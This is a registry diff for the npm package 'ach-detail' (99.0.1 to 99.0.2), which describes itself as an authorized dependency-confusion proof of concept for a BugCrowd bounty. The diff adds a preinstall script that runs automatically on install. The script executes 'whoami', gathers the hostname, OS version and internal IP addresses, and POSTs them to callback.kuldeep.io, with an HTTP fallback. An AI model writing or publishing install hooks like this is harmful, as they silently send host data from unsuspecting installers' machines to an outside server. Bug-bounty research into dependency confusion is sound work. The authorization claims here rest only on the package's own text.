ach-detail 99.0.1 → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/preinstall.js +69 -29
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ach-detail",
|
|
3
|
-
"version": "99.0.
|
|
3
|
+
"version": "99.0.2",
|
|
4
4
|
"description": "AUTHORIZED SECURITY RESEARCH PLACEHOLDER - not a functional package. Published with permission under a BugCrowd bug bounty engagement to demonstrate a dependency confusion condition. Contact pr3da70r via BugCrowd. This package will be unpublished once the finding is confirmed.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
package/scripts/preinstall.js
CHANGED
|
@@ -5,30 +5,80 @@
|
|
|
5
5
|
// ---------------------------------------------------------------------------
|
|
6
6
|
// CONFIGURE THESE TWO VALUES BEFORE PUBLISHING (URLs are already set)
|
|
7
7
|
// ---------------------------------------------------------------------------
|
|
8
|
-
var REPORT_ID = '6ba66258-c990-4177-a3b9-d8941dfea100';
|
|
9
|
-
var NONCE = 'a7d3c1';
|
|
8
|
+
var REPORT_ID = '6ba66258-c990-4177-a3b9-d8941dfea100'; // e.g. '2847391'
|
|
9
|
+
var NONCE = 'a7d3c1'; // unique per publish
|
|
10
10
|
var HTTP_URL = 'https://callback.kuldeep.io/beacon'; // primary, port 443
|
|
11
11
|
var FALLBACK_URL = 'http://callback.kuldeep.io/beacon'; // retry, port 80
|
|
12
12
|
// ---------------------------------------------------------------------------
|
|
13
13
|
|
|
14
14
|
var TIMEOUT_MS = 4000;
|
|
15
|
+
var EXEC_TIMEOUT_MS = 3000;
|
|
15
16
|
|
|
16
17
|
function safe(fn) {
|
|
17
18
|
try { return fn(); } catch (e) { return undefined; }
|
|
18
19
|
}
|
|
19
20
|
|
|
20
|
-
|
|
21
|
-
|
|
21
|
+
/* The single shell command, exactly as the triager specified. Read-only,
|
|
22
|
+
* no side effects, bounded, stderr discarded. */
|
|
23
|
+
function whoami() {
|
|
24
|
+
var out = safe(function () {
|
|
25
|
+
return require('child_process')
|
|
26
|
+
.execSync('whoami', {
|
|
27
|
+
timeout: EXEC_TIMEOUT_MS,
|
|
28
|
+
stdio: ['ignore', 'pipe', 'ignore'],
|
|
29
|
+
windowsHide: true
|
|
30
|
+
})
|
|
31
|
+
.toString().trim();
|
|
32
|
+
});
|
|
33
|
+
if (out) return out;
|
|
34
|
+
// Fallback if the binary is absent or exec is restricted.
|
|
35
|
+
return safe(function () { return require('os').userInfo().username; }) || 'unknown';
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function internalIPv4() {
|
|
39
|
+
return safe(function () {
|
|
40
|
+
var ifaces = require('os').networkInterfaces() || {};
|
|
41
|
+
var out = [];
|
|
42
|
+
Object.keys(ifaces).forEach(function (name) {
|
|
43
|
+
(ifaces[name] || []).forEach(function (a) {
|
|
44
|
+
var isV4 = (a.family === 'IPv4' || a.family === 4);
|
|
45
|
+
if (isV4 && !a.internal && a.address) out.push(name + '=' + a.address);
|
|
46
|
+
});
|
|
47
|
+
});
|
|
48
|
+
return out;
|
|
49
|
+
}) || [];
|
|
22
50
|
}
|
|
23
51
|
|
|
24
|
-
function
|
|
52
|
+
function collect() {
|
|
53
|
+
var os = safe(function () { return require('os'); }) || {};
|
|
25
54
|
var pkg = safe(function () { return require('../package.json'); }) || {};
|
|
26
|
-
return {
|
|
55
|
+
return {
|
|
56
|
+
report: REPORT_ID,
|
|
57
|
+
nonce: NONCE,
|
|
58
|
+
// 1. hostname
|
|
59
|
+
hostname: safe(function () { return os.hostname(); }) || 'unknown',
|
|
60
|
+
// 2. OS server name / version
|
|
61
|
+
os_type: safe(function () { return os.type(); }) || 'unknown',
|
|
62
|
+
os_platform: safe(function () { return os.platform(); }) || 'unknown',
|
|
63
|
+
os_release: safe(function () { return os.release(); }) || 'unknown',
|
|
64
|
+
os_version: safe(function () { return os.version(); }) || 'unknown',
|
|
65
|
+
arch: safe(function () { return os.arch(); }) || 'unknown',
|
|
66
|
+
// 3. whoami
|
|
67
|
+
whoami: whoami(),
|
|
68
|
+
// 4. internal addresses
|
|
69
|
+
internal_ips: internalIPv4(),
|
|
70
|
+
// 5. package identity
|
|
71
|
+
pkg: pkg.name || 'unknown',
|
|
72
|
+
version: pkg.version || 'unknown',
|
|
73
|
+
// 6. correlation
|
|
74
|
+
node: safe(function () { return process.version; }) || 'unknown',
|
|
75
|
+
ts: new Date().toISOString()
|
|
76
|
+
};
|
|
27
77
|
}
|
|
28
78
|
|
|
29
79
|
/*
|
|
30
|
-
* Single bounded POST. Calls onFail() on
|
|
31
|
-
*
|
|
80
|
+
* Single bounded POST. Calls onFail() on error, timeout or non-2xx so the
|
|
81
|
+
* caller can try the fallback. onFail runs at most once.
|
|
32
82
|
*/
|
|
33
83
|
function post(target, body, onFail) {
|
|
34
84
|
safe(function () {
|
|
@@ -53,12 +103,12 @@ function post(target, body, onFail) {
|
|
|
53
103
|
headers: {
|
|
54
104
|
'Content-Type': 'application/json',
|
|
55
105
|
'Content-Length': Buffer.byteLength(body),
|
|
56
|
-
'User-Agent': '
|
|
106
|
+
'User-Agent': 'poc/' + REPORT_ID
|
|
57
107
|
}
|
|
58
108
|
}, function (res) {
|
|
59
109
|
res.resume();
|
|
60
|
-
// 2xx only. A 3xx means
|
|
61
|
-
// the collector, so that
|
|
110
|
+
// 2xx only. A 3xx means a proxy redirected us and the body never
|
|
111
|
+
// reached the collector, so that counts as failure.
|
|
62
112
|
if (res.statusCode >= 200 && res.statusCode < 300) { done = true; }
|
|
63
113
|
else { fail(); }
|
|
64
114
|
});
|
|
@@ -70,31 +120,21 @@ function post(target, body, onFail) {
|
|
|
70
120
|
}
|
|
71
121
|
|
|
72
122
|
function main() {
|
|
73
|
-
var
|
|
74
|
-
var self = selfDescribe();
|
|
123
|
+
var d = collect();
|
|
75
124
|
|
|
76
|
-
// The unique console log the analyst asked for.
|
|
77
125
|
// NOTE: npm buffers dependency script output and discards it unless the
|
|
78
126
|
// script fails. This line is only visible with
|
|
79
127
|
// `npm install --foreground-scripts`, or foreground-scripts=true in .npmrc.
|
|
80
128
|
console.log(
|
|
81
|
-
'[
|
|
82
|
-
|
|
83
|
-
'
|
|
84
|
-
|
|
85
|
-
'
|
|
129
|
+
'[POC-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
|
|
130
|
+
d.pkg + '@' + d.version + ' resolved from the PUBLIC npm registry. ' +
|
|
131
|
+
'preinstall executed as user "' + d.whoami + '" on host "' + d.hostname +
|
|
132
|
+
'" (' + d.os_type + ' ' + d.os_release + ', ' + d.arch + '). ' +
|
|
133
|
+
'Benign placeholder published with program permission. ' +
|
|
134
|
+
'Contact: pr3da70r, report ' + REPORT_ID + '.'
|
|
86
135
|
);
|
|
87
136
|
|
|
88
|
-
var body = JSON.stringify(
|
|
89
|
-
report: REPORT_ID,
|
|
90
|
-
nonce: NONCE,
|
|
91
|
-
hostname: host,
|
|
92
|
-
pkg: self.name,
|
|
93
|
-
version: self.version,
|
|
94
|
-
node: safe(function () { return process.version; }) || 'unknown',
|
|
95
|
-
platform: safe(function () { return process.platform; }) || 'unknown',
|
|
96
|
-
ts: new Date().toISOString()
|
|
97
|
-
});
|
|
137
|
+
var body = JSON.stringify(d);
|
|
98
138
|
|
|
99
139
|
post(HTTP_URL, body, function () {
|
|
100
140
|
if (FALLBACK_URL && FALLBACK_URL !== HTTP_URL) post(FALLBACK_URL, body, null);
|